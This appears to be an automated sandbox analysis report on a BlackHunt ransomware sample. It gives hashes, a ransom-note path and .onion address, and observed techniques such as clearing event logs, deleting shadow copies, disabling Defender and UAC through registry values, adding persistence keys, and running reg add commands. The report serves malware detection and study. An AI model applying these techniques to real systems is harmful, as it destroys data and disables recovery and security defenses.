Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
157s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
19/01/2024, 01:30
Static task
static1
Behavioral task
behavioral1
Sample
fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
Resource
win10v2004-20231215-en
General
-
Target
fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
-
Size
707KB
-
MD5
23f57a42b5e3c17bec7a96863d753bfb
-
SHA1
fd60ce1b53bf70f870f574a48bbf3fa9eedc1c55
-
SHA256
fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01
-
SHA512
537be3cedc88f1c5c305253c6a5a056ebeca07dd86f1a522414c00d23fdbbf4ef543874f3f37f7ba4652be80f23a85685fe86a33011dc39f9cfbf509b6afb1f7
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1i8xvnh:6uaTmkZJ+naie5OTamgEoKxLWRlh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 5384 fsutil.exe 5476 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 4888 wevtutil.exe 3964 wevtutil.exe 1980 wevtutil.exe 1372 wevtutil.exe 4116 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 4480 bcdedit.exe 1036 bcdedit.exe 5280 bcdedit.exe 5532 bcdedit.exe -
Renames multiple (499) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 2088 wbadmin.exe 5640 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe -
Enumerates connected drives 3 TTPs 26 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\J: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\K: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\H: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\T: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\O: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\P: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\R: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\U: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\A: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\Q: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\G: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\S: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\L: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\X: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\W: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\E: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\Z: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\M: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Y: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\V: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\N: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened (read-only) \??\B: fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jre-1.8\legal\javafx\gstreamer.md fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_Private.key fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\7-Zip\Lang\br.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\7-Zip\Lang\gl.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\7-Zip\Lang\nl.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\Google\#BlackHunt_ReadMe.hta fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\security\java.policy fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\ir.idl fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_ReadMe.hta fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\FindUninstall.midi fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_Private.key fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\management\#BlackHunt_Private.key fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\7-Zip\License.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\[email protected] fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\javafx\public_suffix.md fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\ext\sunmscapi.jar fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\public_suffix.md fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\asm.md fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_ReadMe.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_ReadMe.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\local_policy.jar fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\javafx\gstreamer.md fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_Private.key fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\jce.jar fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\Java\jre-1.8\#BlackHunt_ReadMe.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_ReadMe.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_ReadMe.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\7-Zip\Lang\ga.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\7-Zip\Lang\hi.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\cldrdata.jar fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jre-1.8\Welcome.html fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\javacpl.cpl fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_Private.key fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\javafx\directshow.md fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\javafx.properties fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\#BlackHunt_Private.key fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\7-Zip\Lang\ky.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_Private.key fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_ReadMe.hta fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\7-Zip\#BlackHunt_Private.key fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\7-Zip\Lang\cy.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\7-Zip\Lang\da.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\7-Zip\Lang\mk.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\zlib.md fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\images\cursors\invalid32x32.gif fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\include\jawt.h fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\gstreamer.md fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages.properties fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jre-1.8\bin\server\Xusage.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\RemoveTrace.xml fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_ReadMe.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\zlib.md fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\unicode.md fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\7-Zip\Lang\tk.txt fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_Private.key fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\localedata.jar fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File created C:\Program Files\Java\jdk-1.8\#BlackHunt_ReadMe.hta fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\colorimaging.md fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\security\public_suffix_list.dat fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3816 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5644 vssadmin.exe 5784 vssadmin.exe 5820 vssadmin.exe 6024 vssadmin.exe 6016 vssadmin.exe 5240 vssadmin.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe Token: SeRestorePrivilege 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe Token: SeBackupPrivilege 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe Token: SeTakeOwnershipPrivilege 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe Token: SeAuditPrivilege 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe Token: SeSecurityPrivilege 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe Token: SeIncBasePriorityPrivilege 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe Token: SeBackupPrivilege 3308 vssvc.exe Token: SeRestorePrivilege 3308 vssvc.exe Token: SeAuditPrivilege 3308 vssvc.exe Token: SeBackupPrivilege 852 wbengine.exe Token: SeRestorePrivilege 852 wbengine.exe Token: SeSecurityPrivilege 852 wbengine.exe Token: SeSecurityPrivilege 3964 wevtutil.exe Token: SeBackupPrivilege 3964 wevtutil.exe Token: SeSecurityPrivilege 1980 wevtutil.exe Token: SeBackupPrivilege 1980 wevtutil.exe Token: SeSecurityPrivilege 1372 wevtutil.exe Token: SeBackupPrivilege 1372 wevtutil.exe Token: SeSecurityPrivilege 4116 wevtutil.exe Token: SeBackupPrivilege 4116 wevtutil.exe Token: SeSecurityPrivilege 4888 wevtutil.exe Token: SeBackupPrivilege 4888 wevtutil.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2708 wrote to memory of 2512 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 89 PID 2708 wrote to memory of 2512 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 89 PID 2708 wrote to memory of 5104 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 91 PID 2708 wrote to memory of 5104 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 91 PID 2708 wrote to memory of 4432 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 92 PID 2708 wrote to memory of 4432 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 92 PID 2708 wrote to memory of 4492 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 95 PID 2708 wrote to memory of 4492 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 95 PID 2512 wrote to memory of 1132 2512 cmd.exe 97 PID 2512 wrote to memory of 1132 2512 cmd.exe 97 PID 2708 wrote to memory of 4640 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 98 PID 2708 wrote to memory of 4640 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 98 PID 5104 wrote to memory of 4036 5104 cmd.exe 100 PID 5104 wrote to memory of 4036 5104 cmd.exe 100 PID 4432 wrote to memory of 940 4432 cmd.exe 101 PID 4432 wrote to memory of 940 4432 cmd.exe 101 PID 4492 wrote to memory of 1476 4492 cmd.exe 102 PID 4492 wrote to memory of 1476 4492 cmd.exe 102 PID 4640 wrote to memory of 2992 4640 cmd.exe 103 PID 4640 wrote to memory of 2992 4640 cmd.exe 103 PID 2708 wrote to memory of 2864 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 104 PID 2708 wrote to memory of 2864 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 104 PID 2708 wrote to memory of 1808 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 106 PID 2708 wrote to memory of 1808 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 106 PID 2708 wrote to memory of 4656 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 108 PID 2708 wrote to memory of 4656 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 108 PID 2708 wrote to memory of 1616 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 199 PID 2708 wrote to memory of 1616 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 199 PID 2708 wrote to memory of 1604 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 111 PID 2708 wrote to memory of 1604 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 111 PID 2708 wrote to memory of 2076 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 114 PID 2708 wrote to memory of 2076 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 114 PID 2708 wrote to memory of 820 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 116 PID 2708 wrote to memory of 820 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 116 PID 2708 wrote to memory of 2976 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 119 PID 2708 wrote to memory of 2976 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 119 PID 2708 wrote to memory of 3628 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 122 PID 2708 wrote to memory of 3628 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 122 PID 2708 wrote to memory of 3172 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 121 PID 2708 wrote to memory of 3172 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 121 PID 2708 wrote to memory of 4644 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 214 PID 2708 wrote to memory of 4644 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 214 PID 2708 wrote to memory of 2996 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 126 PID 2708 wrote to memory of 2996 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 126 PID 2708 wrote to memory of 1428 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 131 PID 2708 wrote to memory of 1428 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 131 PID 4656 wrote to memory of 4068 4656 cmd.exe 129 PID 4656 wrote to memory of 4068 4656 cmd.exe 129 PID 2864 wrote to memory of 1580 2864 cmd.exe 130 PID 2864 wrote to memory of 1580 2864 cmd.exe 130 PID 2708 wrote to memory of 4200 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 134 PID 2708 wrote to memory of 4200 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 134 PID 2708 wrote to memory of 4408 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 133 PID 2708 wrote to memory of 4408 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 133 PID 1616 wrote to memory of 3548 1616 Conhost.exe 135 PID 1616 wrote to memory of 3548 1616 Conhost.exe 135 PID 1808 wrote to memory of 2296 1808 cmd.exe 138 PID 1808 wrote to memory of 2296 1808 cmd.exe 138 PID 2708 wrote to memory of 1848 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 140 PID 2708 wrote to memory of 1848 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 140 PID 2076 wrote to memory of 3396 2076 cmd.exe 139 PID 2076 wrote to memory of 3396 2076 cmd.exe 139 PID 2708 wrote to memory of 984 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 147 PID 2708 wrote to memory of 984 2708 fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe 147 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe"C:\Users\Admin\AppData\Local\Temp\fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2708 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2512 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1132
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:5104 -
